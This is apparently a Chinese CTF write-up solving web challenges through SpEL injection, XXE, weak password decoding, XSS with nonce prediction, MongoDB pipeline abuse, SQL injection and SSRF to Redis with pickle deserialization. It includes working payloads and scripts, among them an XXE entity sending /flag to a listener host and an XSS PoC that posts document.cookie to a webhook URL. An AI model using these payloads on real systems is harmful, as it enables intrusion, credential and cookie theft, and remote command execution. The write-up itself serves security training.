expr
SPEL注入,但经过测试可以发现不允许执行命令,也不能出网
因此通过延时判断文件内容侧信道,逐位读出flag文件,如果内容正确则延时
("a".class.forName("jav"+"a.nio.file.Files").readAllLines("a".class.forName("ja"+
"va.nio.file.Paths").get("/flag"))).toString().substring({},{}).equals("[") and
T(Thread).sleep(1000000000)
fileit
根据源代码中的注释语句判断是 xxe 注入
在 file_server
上放置 xxe.dtd
:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://<listen_server_ip>:<listen_server_port>/%file;'>">
并向服务器发送 Payload:
<!DOCTYPE note[ <!ENTITY % remote SYSTEM "http://<file_server_ip>:<file_server_port>/xxe.dtd"> %remote;%int;%send; ]>
即可在 listen_server
上获得 flag
Gateway
在附件的 baseinfoSet.json
中找到加密后的密码
"baseinfoSet_TELECOMPASSWORD": "106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&",
"baseinfoSet_USERPASSWORD": "106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&",
搜索 baseinfoSet_TELECOMPASSWORD
加密算法的解密脚本:
orig='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49
&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'
l=list(map(int,orig.split('&')[:-1]))
result=[]
for i in l:
if i > 57:
i-=4
result.append(chr(i))
print(''.join(result))
运行后即可获得 flag
JustXSS
预测 nonce 来进行 XSS
V8的 Math.random()
方法不是密码学安全的,可以通过历史记录来预测伪随机数生成器内部状
态,从而获取之后得到的值。
能拿到未来的nonce后就可以很方便的注入,但由于 Vue 的 v-html
是设置 innerHTML
来更新
DOM ,而事件侦听由被 CSP 给 ban 了,直接注入 <script>
也是不会执行的
这里就需要第二个 Trick,使用 iframe
绕过这个限制
POC:
<iframe srcdoc="<script
nonce='$NONCE'>window.open('https://webhook.site/88da27db-7c1e-4fee-8410-
9cef8bc08d2c?'+document.cookie)</script>"></iframe>
Messy Mongo
利用后端 MongoDB $表达式解析 绕过前端 typescript 安全校验获得 flag
采用 Update document
和 Aggregation pipeline
的区别:
当传入的 Update
参数为数组时,MongoDB 将会把 Update
作为一个 Aggregation pipeline
进行解析,从而可以使用其Expr进行绕过。
POC 1:
{
username: {
$substr: ['admin', 0, 5]
}
}
POC 2:
{
"username": { "$toString": "admin" }
}
修改 ctfer 的 username 为 admin ,从而获取 admin 的 Todo lists ,获得 flag
phpsql
简单SQL注入
可以 username=admin&password='||1=1;#
当然,也可以:
{"password":"1", "username":
f"1'||if(ascii(substr((sselectelect/**/group_concat(passwoorrd)/**/from/**/user),
{i},1))>{mid},sleep(2),0)#"}
import requests
url = "https://prob06-frcwo2ol.contest.pku.edu.cn/login.php"
flag = ""
i = 0
while True:
i = i+1
left = 32
right = 127
while left < right:
mid = (left+right) // 2
payload = {"password":"1", "username":f"1'||if(ascii(substr((sselectelect/**/group_concat(passwoorrd)/**/from/**/user),{i},1))>{mid},sleep(2),0)#"}
try:
res = requests.post(url = url, data=payload, timeout=1)
#print(res.text)
right = mid
except Exception as e:
left = mid+1
if left != 32:
flag+=chr(left)
print(flag)
else:
break
pyssrf
访问 source 路径获得源码,发现存在 ssrf 的点且存在没有密码的 redis
结合题目描述得知版本为 python3.7,使用的 urllib 存在 http 头注入的问题,用这个漏洞(CVE-
2019-9947)对后台的 redis 进行攻击
构造key值
md5('http://1')=22d474190b1889d3373fa4f9334e979c
用脚本构造pickle的反序列数据
import base64
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))
因为采用的是 flask 框架,最简单获得回显的方式就是写文件到静态目录
import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))
再将 flag 的内容重定向到 static/1.txt
中
import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))
综上,先访问以下 url
/?url=127.0.0.1:6379?
%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2RpciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins
触发反序列化创建 static 目录
/?url=1
再访问以下 url,将 flag 输出到 static/1.txt
/?url=127.0.0.1:6379?
%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQgL2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins
触发
/?url=1
再访问 /static/1.txt
,获得 flag